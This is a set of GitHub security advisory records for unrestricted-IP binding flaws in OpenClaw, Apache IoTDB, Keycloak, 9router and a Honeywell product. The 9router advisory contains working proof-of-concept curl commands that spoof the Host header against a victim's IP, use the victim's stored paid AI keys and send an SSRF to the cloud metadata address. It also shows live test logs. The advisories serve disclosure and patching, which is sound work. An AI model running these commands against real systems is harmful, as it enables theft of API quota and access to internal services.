CWE-1327

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  "details": "## Summary\n\nSandbox browser CDP relay could expose DevTools protocol on 0.0.0.0.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.10`\n- Patched versions: `\u003e= 2026.4.10`\n\n## Impact\n\nThe sandbox browser CDP relay could bind too broadly, exposing Chrome DevTools Protocol access outside the intended local/sandbox source range.\n\n## Technical Details\n\nThe fix enforces CDP source-range restriction by default and avoids broad `0.0.0.0` exposure unless explicitly configured.\n\n## Fix\n\nThe issue was fixed in #61404. The first stable tag containing the fix is `v2026.4.10`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `fbf11ebdb7110632f93926d0ac7b48f04cb44d77`\n- PR: #61404\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.10 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @zsxsoft, with sponsorship from @KeenSecurityLab and @qclawer for reporting this issue.",
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    "severity": "CRITICAL"
  },
  "details": "A vulnerability in Apache IoTDB.\n\nThis issue affects Apache IoTDB: from 1.0.0 before 1.3.7, from 2.0.0 before 2.0.7.\n\nUsers are recommended to upgrade to version 1.3.7 or 2.0.7, which fixes the issue.",
  "id": "GHSA-74cf-pgh9-m5q2",
  "modified": "2026-03-11T00:08:44Z",
  "published": "2026-03-09T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24015"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/iotdb"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/compare/v1.3.6...v1.3.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/compare/v2.0.6...v2.0.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/releases/tag/v1.3.7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/iotdb/releases/tag/v2.0.7"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/j769ywdqm46zl3oz5lbffsldklg0ow7p"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/03/09/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache IoTDB has an Insecure Default Configuration Vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.keycloak:keycloak-quarkus-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-13T23:41:01Z",
    "nvd_published_at": "2025-11-13T17:15:44Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-j4vq-q93m-4683. This link is maintained to preserve external references.\n\n### Original Description\nA vulnerability exists in Keycloak\u0027s server distribution where enabling debug mode (--debug \u003cport\u003e) insecurely defaults to binding the Java Debug Wire Protocol (JDWP) port to all network interfaces (0.0.0.0). This exposes the debug port to the local network, allowing an attacker on the same network segment to attach a remote debugger and achieve remote code execution within the Keycloak Java virtual machine.",
  "id": "GHSA-7m9g-pmxf-m9m8",
  "modified": "2025-12-20T05:40:50Z",
  "published": "2025-11-13T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11538"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/pull/43574"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keycloak/keycloak/commit/9e98f2bf961f68853cea6fbec58b512ed8be7ca9"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:21370"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2025:21371"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-11538"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2402622"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keycloak/keycloak"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Keycloak allows Binding to an Unrestricted IP Address",
  "withdrawn": "2025-12-02T00:34:30Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-5398"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-17T17:15:13Z",
    "severity": "MODERATE"
  },
  "details": "Server receiving a malformed message based on a list of IPs resulting in heap corruption causing a denial of service.\u00a0See Honeywell Security Notification for recommendations on upgrading and versioning.\n\n",
  "id": "GHSA-8c78-h946-hmr5",
  "modified": "2024-04-17T18:31:34Z",
  "published": "2024-04-17T18:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5398"
    },
    {
      "type": "WEB",
      "url": "https://process.honeywell.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}